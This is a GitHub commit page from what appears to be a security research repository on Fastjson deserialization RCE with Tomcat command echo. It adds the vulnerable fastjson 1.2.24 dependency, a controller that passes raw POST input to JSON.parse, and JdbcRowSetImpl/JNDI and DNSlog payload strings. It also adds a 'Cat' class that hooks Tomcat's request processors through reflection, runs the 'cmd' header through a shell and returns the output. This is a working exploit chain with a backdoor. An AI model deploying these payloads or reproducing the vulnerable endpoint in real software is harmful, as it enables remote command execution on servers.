Skip to content

Commit 947ce00

Browse files
committed
Controller/Fastjson.java
1 parent d443be9 commit 947ce00

File tree

7 files changed

+217
-6
lines changed

7 files changed

+217
-6
lines changed

Rce_Echo/TomcatEcho/pom.xml

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,11 @@
4545
<groupId>org.apache.tomcat.embed</groupId>
4646
<artifactId>tomcat-embed-jasper</artifactId>
4747
</dependency>
48+
<dependency>
49+
<groupId>com.alibaba</groupId>
50+
<artifactId>fastjson</artifactId>
51+
<version>1.2.24</version>
52+
</dependency>
4853
</dependencies>
4954

5055
<build>
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
package summersec.echo.Controller;
2+
3+
import com.alibaba.fastjson.JSON;
4+
import com.alibaba.fastjson.JSONObject;
5+
import org.springframework.stereotype.Controller;
6+
import org.springframework.web.bind.annotation.RequestBody;
7+
import org.springframework.web.bind.annotation.RequestMapping;
8+
import org.springframework.web.bind.annotation.RequestMethod;
9+
import org.springframework.web.bind.annotation.ResponseBody;
10+
11+
import javax.servlet.http.HttpServletRequest;
12+
import java.net.URLDecoder;
13+
14+
/**
15+
* @ClassName: Fastjson
16+
* @Description: TODO
17+
* @Author: Summer
18+
* @Date: 2021/6/22 16:24
19+
* @Version: v1.0.0
20+
* @Description:
21+
**/
22+
@Controller
23+
public class Fastjson {
24+
@RequestMapping(value = "fastjson")
25+
public String fastjsonvul(){
26+
return "fastjson";
27+
}
28+
29+
@RequestMapping(value = "parse",method = RequestMethod.POST)
30+
@ResponseBody
31+
public String vuldemo(@RequestBody String request){
32+
System.out.println(request);
33+
String result = request.substring(9,request.length());
34+
System.out.println(URLDecoder.decode(result));
35+
JSON.parse(URLDecoder.decode(result));
36+
return "parse is ok!";
37+
}
38+
39+
public static void main(String[] args) {
40+
String json = "{\"@type\":\"java.net.Inet4Address\",\"val\":\"wgddy2.dnslog.cn\"}";
41+
String json1 = "{\n" +
42+
" \"a\":{\n" +
43+
" \"@type\":\"java.lang.Class\",\n" +
44+
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
45+
" },\n" +
46+
" \"b\":{\n" +
47+
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
48+
" \"dataSourceName\":\"ldap://127.0.0.1:1389/Cat\",\n" +
49+
" \"autoCommit\":\"true\"\n" +
50+
" }\n" +
51+
"}";
52+
JSON.parse(json1);
53+
}
54+
55+
// {"@type":"java.net.Inet4Address","val":"cr8s2f.dnslog.cn"}
56+
//{
57+
// "a":{
58+
// "@type":"java.lang.Class",
59+
// "val":"com.sun.rowset.JdbcRowSetImpl"
60+
//},
61+
// "b":{
62+
// "@type":"com.sun.rowset.JdbcRowSetImpl",
63+
// "dataSourceName":"ldap://127.0.0.1:6666/Test",
64+
// "autoCommit":"true"
65+
//}
66+
//}
67+
68+
}
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
package summersec.echo.Demo;
2+
3+
/**
4+
* @ClassName: Cat
5+
* @Description: TODO
6+
* @Author: Summer
7+
* @Date: 2021/6/22 17:08
8+
* @Version: v1.0.0
9+
* @Description:
10+
**/
11+
public class Cat {
12+
public Cat()throws Exception{
13+
boolean flag = false;
14+
ThreadGroup group = Thread.currentThread().getThreadGroup();
15+
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
16+
f.setAccessible(true);
17+
Thread[] threads = (Thread[]) f.get(group);
18+
for(int i = 0; i < threads.length; i++) {
19+
try{
20+
Thread t = threads[i];
21+
if (t == null) continue;
22+
String str = t.getName();
23+
if (str.contains("exec") || !str.contains("http")) continue;
24+
f = t.getClass().getDeclaredField("target");
25+
f.setAccessible(true);
26+
Object obj = f.get(t);
27+
if (!(obj instanceof Runnable)) continue;
28+
f = obj.getClass().getDeclaredField("this$0");
29+
f.setAccessible(true);
30+
obj = f.get(obj);
31+
try{
32+
f = obj.getClass().getDeclaredField("handler");
33+
}catch (NoSuchFieldException e){
34+
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
35+
}
36+
f.setAccessible(true);
37+
obj = f.get(obj);
38+
try{
39+
f = obj.getClass().getSuperclass().getDeclaredField("global");
40+
}catch(NoSuchFieldException e){
41+
f = obj.getClass().getDeclaredField("global");
42+
}
43+
f.setAccessible(true);
44+
obj = f.get(obj);
45+
f = obj.getClass().getDeclaredField("processors");
46+
f.setAccessible(true);
47+
java.util.List processors = (java.util.List)(f.get(obj));
48+
for(int j = 0; j < processors.size(); ++j) {
49+
Object processor = processors.get(j);
50+
f = processor.getClass().getDeclaredField("req");
51+
f.setAccessible(true);
52+
Object req = f.get(processor);
53+
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
54+
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
55+
if (str != null && !str.isEmpty()) {
56+
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
57+
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
58+
String charsetName = System.getProperty("os.name").toLowerCase().contains("window") ? "GBK":"UTF-8";
59+
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream(),charsetName)).useDelimiter("\\A").next().getBytes(charsetName);
60+
try {
61+
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
62+
obj = cls.newInstance();
63+
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
64+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
65+
} catch (NoSuchMethodException var5) {
66+
Class cls = Class.forName("java.nio.ByteBuffer");
67+
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
68+
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
69+
}
70+
flag = true;
71+
}
72+
if (flag) break;
73+
}
74+
if (flag) break;
75+
}catch(Exception e){
76+
continue;
77+
}
78+
}
79+
}
80+
}
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
<%--
2+
Created by Bearcat
3+
User: Administrator
4+
Date: 2018/10/15 0015
5+
Time: 20:36
6+
To change this template use File | Settings | File Templates.
7+
--%>
8+
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
9+
<html>
10+
<head>
11+
<title>FastJson漏洞演示程序</title>
12+
<style type="text/css">
13+
#textJson{
14+
width: 800px;
15+
margin-right: 5px;
16+
margin-top: 30px;
17+
}
18+
#logo{
19+
margin-top: 100px;
20+
text-align: center;
21+
}
22+
#img{
23+
width: 400px;
24+
height: 360px;
25+
}
26+
</style>
27+
</head>
28+
<body>
29+
<div id="logo">
30+
<img src="/logo.jpg" id="img"/>
31+
<form action="parse" method="post">
32+
<input type="text" name="textJson" id="textJson" value="{'age':44,'name':'Bearcat','sex':'male'}">
33+
<input type="submit" value="提交">
34+
</form>
35+
</div>
36+
</body>
37+
</html>
Lines changed: 27 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,16 +1,37 @@
11
<%--
2-
Created by IntelliJ IDEA.
3-
User: Samny
4-
Date: 2021/6/16
5-
Time: 17:24
2+
Created by Bearcat
3+
User: Administrator
4+
Date: 2018/10/15 0015
5+
Time: 20:36
66
To change this template use File | Settings | File Templates.
77
--%>
88
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
99
<html>
1010
<head>
11-
<title>TomcatEcho</title>
11+
<title>FastJson漏洞演示程序</title>
12+
<style type="text/css">
13+
#textJson{
14+
width: 800px;
15+
margin-right: 5px;
16+
margin-top: 30px;
17+
}
18+
#logo{
19+
margin-top: 100px;
20+
text-align: center;
21+
}
22+
#img{
23+
width: 400px;
24+
height: 360px;
25+
}
26+
</style>
1227
</head>
1328
<body>
14-
<h1>hello world</h1>
29+
<div id="logo">
30+
<img src="/logo.jpg" id="img"/>
31+
<form action="parse" method="post">
32+
<input type="text" name="textJson" id="textJson" value="{'age':44,'name':'Bearcat','sex':'male'}">
33+
<input type="submit" value="提交">
34+
</form>
35+
</div>
1536
</body>
1637
</html>
392 KB
Loading
Binary file not shown.

0 commit comments

Comments
 (0)